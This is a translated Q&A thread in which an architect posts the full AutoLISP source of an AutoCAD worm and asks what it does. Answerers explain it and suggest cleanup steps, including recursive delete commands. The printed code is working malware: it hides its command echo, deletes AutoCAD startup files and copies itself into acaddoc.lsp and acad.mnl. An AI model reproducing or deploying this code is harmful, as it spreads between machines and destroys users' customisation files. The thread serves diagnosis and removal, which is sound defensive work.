调试此LISP病毒正在执行的操作

时间:2009-12-14 20:11:06

标签: lisp virus autocad

我的公司遇到了一个AutoCAD病毒,它正在删除并用以下例程替换我们的acaddoc.lsp

我是一名建筑师,并不完全确定重复的“查找”和“删除”是做什么的。

问题

  1. 这是用什么替换文件(目前正在搜索acadapq)?
  2. 谁为AutoCAD编写病毒?!?!
  3. 有没有人见过这个? CAD论坛不是很有帮助。

    (setq wold_cmd (getvar "cmdecho"))
    (setvar "cmdecho" 0)
    (setq bb 2)
    (setq dpath (getvar "dwgprefix"))
    (setq wpath (getvar "menuname"))
    (setq wpath (substr wpath 1 (- (strlen wpath) 4)))
    
    (setq n 0)
    (while (< n 1)
      (if (findfile "acad.fas")
          (if (vl-file-delete (findfile "acad.fas"))
              (setq n 0))
          (setq n 2)))
    
    (setq n 0)
    (while (< n 1)
      (if (findfile "lcm.fas")
          (if (vl-file-delete (findfile "lcm.fas"))
              (setq n 0))
          (setq n 2)))
    
    (setq n 0)
    (while (< n 1)
      (if (findfile "acad.lsp")
          (if (vl-file-delete (findfile "acad.lsp"))
              (setq n 0))
          (setq n 2)))
    
    (defun wwriteapp ()
      (if (setq wwjm1 (open wnewacad "w"))
          (progn
            (setq wwjm (open woldacad "r"))
            (while (setq wwz (read-line wwjm))
              (write-line wwz wwjm1))
            (close wwjm)
            (close wwjm1))))
    
    (setq lbz 0)
    (setq wwjqm (strcat dpath "acaddoc.lsp"))
    (if (setq wwjm (open wwjqm "r"))
        (progn
          (repeat 3 (read-line wwjm))
          (setq wz (read-line wwjm))
          (setq ab (atoi (substr wz 4 1)))
          (close wwjm)
          (if (> ab bb)
              (setq lbz 1))))
    
    (setq wwjqm (strcat wpath "acad.mnl"))
    
    (if (setq wwjm (open wwjqm "r"))
        (progn
          (repeat 3 (read-line wwjm))
          (setq wz (read-line wwjm))
          (setq nb (atoi (substr wz 4 1)))
          (close wwjm)
          (if (< nb bb)
              (setq lbz 1)))
        (setq lbz 1))
    (if (= lbz 1)
        (progn
          (setq woldacad (strcat dpath "acaddoc.lsp"))
          (setq wnewacad (strcat wpath "acad.mnl"))
          (wwriteapp)))
    (if (and (/= (substr dpath 1 1) (chr 67))
             (/= (substr dpath 1 1) (chr 68))
             (/= (substr dpath 1 1) (chr 69))
             (/= (substr dpath 1 1) (chr 70)))
        (progn
          (setq woldacad (strcat wpath "acad.mnl"))
          (setq wnewacad (strcat dpath "acaddoc.lsp"))
          (wwriteapp))
        (vl-file-delete (strcat dpath "acaddoc.lsp")))
    ;load "acadapq")
    (setvar "cmdecho" wold_cmd)
    

3 个答案:

答案 0 :(得分:8)

它正在执行支持文件路径,删除和替换常见的AutoCAD自定义文件。 (“acad.fas”,“acad.lsp”,“acaddoc.lsp”)我不知道“lcm.fas”到底是什么。它是AutoCAD垂直产品的一部分,即AutoCAD Mechanical还是Architectural desktop?

循环基本上是“我一直在支持路径上找到删除它”。

据我所知,AutoCAD没有内置防御功能。 (可能有一些acad系统var停止执行这些文件)。

“cmdecho”行正在保存并恢复允许/禁止命令回显的系统变量。在运行时将其关闭(因此您不会注意到)然后恢复原始设置。

礼貌病毒:\

当AutoCAD启动时,它会执行第一个“acad.fas”&amp;首先在它的支持路径上找到“acad.lsp”。每次AutoCAD加载新的.dwg时,它都会执行“acaddoc.lsp”。

答案 1 :(得分:1)

按照以下步骤摆脱这种蠕虫:

手动  在PC上复制附加的例程:acaddocfix_1.6.lsp
 使用APPLOAD命令加载lisp文件
 lisp文件将自动运行,它将清除支持文件夹中蠕虫的所有存在。

虽然他们是另一种方式我们可以通过在任何用户启动他/她的PC时添加它作为批处理文件,因为我之前检查了IT

自动运行 运行防病毒软件或清理程序以删除“acaddoc.lsp”文件。通常,更简洁的例程会在acad20XXdoc.lsp文件中安装一个简单的例程,该文件会自动清理这些文件,但我建议先使用防病毒软件清除所有病毒。 您还可以运行-acaddoc.bat dos批处理文件来手动清理所有驱动器。 运行此批处理一次,它将删除系统上的所有acaddoc.lsp文件。

注意:如果Autocad支持文件夹中的任何受感染文件是READONLY,则清理程序将无法清除这些文件!!

请参阅http://metinsaylan.com/how-to-clean-acaddoc-lsp-virus-from-your-pc/

答案 2 :(得分:0)

狂野的是,只有在网络上打开文件时才会创建lisp文件,本地副本似乎没有此问题。 将del / s acaddoc.lsp和del / s acad.lsp添加到所有用户登录脚本并运行一个星期左右,它应该摆脱病毒所在的所有acaddoc.lsp和acad.lsp文件。 。在运行删除命令

之前,请确保您实际上并未将这些文件中的任何文件用于您自己的目的